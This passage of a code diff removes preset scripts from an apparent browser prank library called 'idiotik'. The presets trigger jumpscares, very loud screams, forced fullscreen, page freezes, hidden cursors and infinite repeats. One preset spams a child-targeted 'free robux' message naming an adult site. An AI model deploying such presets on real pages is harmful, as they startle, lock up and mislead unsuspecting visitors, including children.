- idiotik.start(idiotik.cursor("rainbow"))();
13
- idiotik.start(idiotik.scream())();
@@ -1,17 +0,0 @@
1
- /**
2
- * idiotik preset: jumpscare
3
- * wait for it... wait for it...
4
- */
5
- idiotik.recursive("yes");
6
- idiotik.volume(300);
7
-
8
- idiotik.script()
9
- idiotik.id("jumpscare")
10
- idiotik.wait(3000).then(() => {
11
- idiotik.start(idiotik.effect("glitch"))();
12
- idiotik.start(idiotik.jumpscare(
13
- "https://upload.wikimedia.org/wikipedia/commons/thumb/a/a7/Camponotus_flavomarginatus_ant.jpg/640px-Camponotus_flavomarginatus_ant.jpg"
14
- ))();
15
- idiotik.start(idiotik.scream())();
16
- });
17
- idiotik.end()
package/presets/melt.js DELETED
@@ -1,13 +0,0 @@
1
- /**
2
- * idiotik preset: melt
3
- * slow and painful. the page just... gives up.
4
- */
5
- idiotik.recursive("no");
6
- idiotik.volume(100);
7
- idiotik.start(idiotik.effect("melt"))();
8
- idiotik.start(idiotik.effect("spin"))();
9
- idiotik.wait(3000).then(() => {
10
- idiotik.volume(300);
11
- idiotik.start(idiotik.effect("rainbow"))();
12
- idiotik.start(idiotik.scream())();
13
- });
package/presets/mild.js DELETED
@@ -1,10 +0,0 @@
1
- /**
2
- * idiotik preset: mild
3
- * annoying but survivable. barely.
4
- */
5
- idiotik.recursive("no");
6
- idiotik.volume(100);
7
- idiotik.start(idiotik.effect("shake"))();
8
- idiotik.start(idiotik.say("gotcha lol"));
9
- idiotik.repeat(5);
10
- idiotik.continue
@@ -1,18 +0,0 @@
1
- /**
2
- * idiotik preset: nuclear
3
- * god help them. seriously.
4
- */
5
- idiotik.recursive("yes");
6
- idiotik.volume(5000);
7
- idiotik.start(idiotik.effect("shake"))();
8
- idiotik.start(idiotik.effect("rainbow"))();
9
- idiotik.start(idiotik.effect("glitch"))();
10
- idiotik.start(idiotik.effect("spin"))();
11
- idiotik.start(idiotik.effect("matrix"))();
12
- idiotik.start(idiotik.scream())();
13
- idiotik.start(idiotik.fullscreen())();
14
- idiotik.start(idiotik.freeze())();
15
- idiotik.start(idiotik.cursor("none"))();
16
- idiotik.start(idiotik.say("💀💀💀 YOU ARE SO COOKED 💀💀💀"));
17
- idiotik.repeat("inf");
18
- idiotik.continue
@@ -1,6 +0,0 @@
1
- /**
2
- * idiotik preset: rickroll
3
- * never gonna give you up.
4
- */
5
- idiotik.recursive("no");
6
- idiotik.start(idiotik.redirect("https://www.youtube.com/watch?v=dQw4w9WgXcQ"))();
package/presets/robux.js DELETED
@@ -1,16 +0,0 @@
1
- /**
2
- * idiotik preset: robux
3
- * free robux guaranteed
4
- */
5
- idiotik.recursive("yes");
6
- idiotik.volume(200);
7
-
8
- idiotik.script()
9
- idiotik.id("robux")
10
- idiotik.start(idiotik.say("FREE ROBUX AT PORNHUB.COM!!!"));
11
- idiotik.repeat("inf");
12
- idiotik.continue
13
- idiotik.end()
14
-
15
- idiotik.start(idiotik.effect("rainbow"))();
16
- idiotik.start(idiotik.cursor("explode"))();
@@ -1,23 +0,0 @@
1
- /**
2
- * idiotik preset: villain
3
- * slow burn. maximum dread.
4
- */
5
- idiotik.recursive("no");
6
- idiotik.volume(150);
7
-
8
- idiotik.script()
9
- idiotik.id("villain")
10
- idiotik.start(idiotik.effect("matrix"))();
11
- idiotik.continue
12
- idiotik.wait(2000).then(() => {
13
- idiotik.start(idiotik.effect("glitch"))();
14
- });
15
- idiotik.wait(4000).then(() => {
16
- idiotik.volume(500);
17
- idiotik.start(idiotik.effect("shake"))();
18
- idiotik.start(idiotik.scream())();
19
- idiotik.recursive("yes");
20
- idiotik.start(idiotik.say("did you really think you were safe 🗿"));
21
- idiotik.repeat("inf");
22
- });
23
- idiotik.end()